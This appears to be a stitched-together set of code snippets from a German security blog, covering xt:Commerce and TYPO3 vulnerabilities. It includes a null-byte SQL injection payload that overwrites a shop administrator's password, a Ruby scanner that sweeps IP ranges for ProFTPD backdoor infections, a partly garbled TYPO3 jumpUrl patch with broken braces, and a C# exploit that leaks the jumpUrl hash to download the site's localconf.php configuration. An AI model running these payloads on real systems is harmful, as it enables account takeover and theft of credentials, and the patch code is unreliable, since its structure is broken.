// sql injection fix 16.02.2011
if (strpos($email,"\0")!==false) {return false;}

## Bugfix for nullbyte injection. More: http://www.monkey-business.biz/1586/xtcommerce-v3-0-x-eregi-nullbyte-injection-sql-injection/
str_replace(array("\0", "\x00", "\u0000", "\000"), '', $email, $count); if ($count > 0) return false;

yourmail@example.com \x00' OR customers_email_address = 'shopadmin@example.com

UPDATE customers SET customers_password = '7e716d0e702df0505fc72e2b89467910' WHERE customers_email_address = 'yourmail@example.com \x00' OR customers_email_address = 'shopadmin@example.com'

#! /usr/bin/ruby -w
 
require 'net/ftp'
require 'timeout'
 
##
## Validate and split IP address 
##
def explodeip(ip)	
	if 5 == len = (ip = ip.match('^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$').to_a).length
		i = 1		
		4.times do
			ip[i] = ip[i].to_i()
			i = i + 1
		end
		return ip
	else
		return false
	end
end
 
##
## Check FTP host for infection
##
def checkinfect(ip)
	begin
		timeout(3) do
     		ftp = Net::FTP.new(ip)
			puts ip+': connected'
			begin
				ftp.sendcmd('help ACIDBITCHEZ')				
				puts ip+': infected'
			rescue Net::FTPPermError
				puts ip+': clean'
			ensure
				ftp.close()
			end
		end		
	rescue Timeout::Error
		puts ip+': timeout'
	rescue Errno::ECONNREFUSED
		puts ip+': connection refused'
	rescue Errno::EHOSTUNREACH
		## Maybe you wan't to google?
	end	
end
 
##
## Script info
##
if !ARGV[0].is_a?(String)
	puts '# ACIDBITCHEZ ProFTPD backdoor scanner'
	puts '# Usage: ./ACIDBITCHEZ_ftpscanner <ip adress> || <start ip> <end ip>'
	puts '# More: http://www.monkey-business.biz/1211/proftpd-acidbitchez-backdoor-scanner/'	
	Process.exit()
end
 
if ip1 = explodeip(ARGV[0])
	if ARGV[1].is_a?(String)
 
		##
		## Cycle trough IP's
		##
		if ip2 = explodeip(ARGV[1])
			while ip1[1] <= ip2[1]
				while ip1[2] <= ip2[2]								
					while ip1[3] <= ip2[3]					
						while ip1[4] <= ip2[4]							
							checkinfect(ip1[1].to_s()+'.'+ip1[2].to_s()+'.'+ip1[3].to_s()+'.'+ip1[4].to_s())
							ip1[4] = ip1[4] + 1
						end
						ip1[4] = 0
						ip1[3] = ip1[3] + 1							
					end
					ip1[3] = 0
					ip1[2] = ip1[2] + 1
				end
				ip1[2] = 0
				ip1[1] = ip1[1] + 1
			end
		else			
			puts '# Second IP adress not valid'
		end
 
	##
	## Check single IP
	##
	else
		checkinfect(ip1[0])	
	end
else
	puts '# IP adress not valid'
end

## Prüfen ob $_GET['jumpurl'] nicht leer ist
if ($this->jumpurl)	{
 
    ## Prüfen ob $_GET['juSecure'] nicht leer ist
    if (t3lib_div::_GP('juSecure'))	{
        $hArr = array(
            $this->jumpurl,
            t3lib_div::_GP('locationData'),
            $this->TYPO3_CONF_VARS['SYS']['encryptionKey']
        );
        $calcJuHash=t3lib_div::shortMD5(serialize($hArr));
        $locationData = t3lib_div::_GP('locationData');
        $juHash = t3lib_div::_GP('juHash');
 
        ## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme
        if ($juHash == $calcJuHash)	{
 
            ## $_GET['locationData'] überprüfen
            if ($this->locDataCheck($locationData))	{
                $this->jumpurl = rawurldecode($this->jumpurl);
                if (t3lib_div::verifyFilenameAgainstDenyPattern($this->jumpurl) && basename(dirname($this->jumpurl)) !== 'typo3conf') {
                    if (@is_file($this->jumpurl)) {
                        $mimeType = t3lib_div::_GP('mimeType');
                        $mimeType = $mimeType ? $mimeType : 'application/octet-stream';
 
                        ## Das Senden der Datei
                        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                        header('Content-Type: '.$mimeType);
                        header('Content-Disposition: attachment; filename='.basename($this->jumpurl));
                        readfile($this->jumpurl);
                        exit;
                    } else die('jumpurl Secure: "'.$this->jumpurl.'" was not a valid file!');
                } else die('jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!');
            } else die('jumpurl Secure: locationData, '.$locationData.', was not accessible.');
 
        ## Hier findet die Ausgabe der Prüfsumme statt
        } else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');
    } else {

} else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');

} else die('jumpurl Secure: Calculated juHash did not match the submitted juHash.');

} else {
	mail(
		'mail@example.com', ## Hier musst du deine E-Mail Adresse eintragen
		'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('.$_SERVER['HTTP_HOST'].') via Jumpurl',		
		"IP:\n".$_SERVER['REMOTE_ADDR'].
		"\n\nUhrzeit:\n".date('d.m.Y H:i:s', $_SERVER['REQUEST_TIME']).
		"\n\nGET Parameter:\n".$_SERVER['QUERY_STRING'],
		"Content-type: text/plain; charset=utf-8\r\n"
	);
        exit('<p>Der Systemadministrator wurde benachrichtigt.</p>');
}

/*
 * [arg[0] = string] die URL zum Typo3 System
 * [arg[1] = string] (optional) die herunterzuladende Datei
 */
public static void Main(string[] args)
{
        // Prüfe ob arg[0] vorhanden
	if (args.Length > 0) 
        {
                // Regulärer Ausdruck für die URL Validierung         
		Regex r = new Regex(@"^https?:\/\/([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+([a-zA-Z]{2,6})/|[a-zA-Z0-9]/$");
 
                // Prüfe ob URL valide anhand des Regulären Ausdrucks		
		if (r.IsMatch(args[0]))
		{
			string file = "";
 
                        // Prüfe ob arg[1] vorhanden
			if (args.Length > 1) 
			{
 
                               // Prüfe ob arg[1] nicht leer ist  
				if (args[1].Length > 0) 
				{
					file = args[1];
				}
				else 
				{
					file = "typo3conf/localconf.php";
				}
			}
			else 
			{
				file = "typo3conf/localconf.php";
			}
 
                        // Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme
			string content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:", 8192);
 
                        // Prüfe ob Ausgabe vorhanden
			if (content.Length > 0) {
 
                                // Regulärer Ausdruck für die Prüfsumme
				r = new Regex("([a-f0-9]{10})+");
 
                                // Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden
				Match m = r.Match(content);
 
                                // Prüfe ob die Prüfsumme gefunden wurde
				if (m.Length > 0)
				{
                                        // Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung.
					content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:&juHash=" + m.Value, 8192);
					Console.WriteLine("# File content:");
					Console.WriteLine(content);
					Console.WriteLine("# Attack successful!");
				}
				else
				{
					Console.WriteLine("# Hash indeterminate );");
				}	
			}
			else
			{
				Console.WriteLine("# Something is going really wrong. Maybe the URL?");
			}
		}
		else
		{
			Console.WriteLine("# Wrong URL format. Try this: http://<domainname>.<tld>/<dir[OPTIONAL]>/");	
		}
	}
	else 
	{
		Console.WriteLine("# Typo3 Jumpurl exploit");	
		Console.WriteLine("# Usage: http://<domainname>.<tld>/ <file[OPTIONAL]>");
		Console.WriteLine("# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/");
	}	
}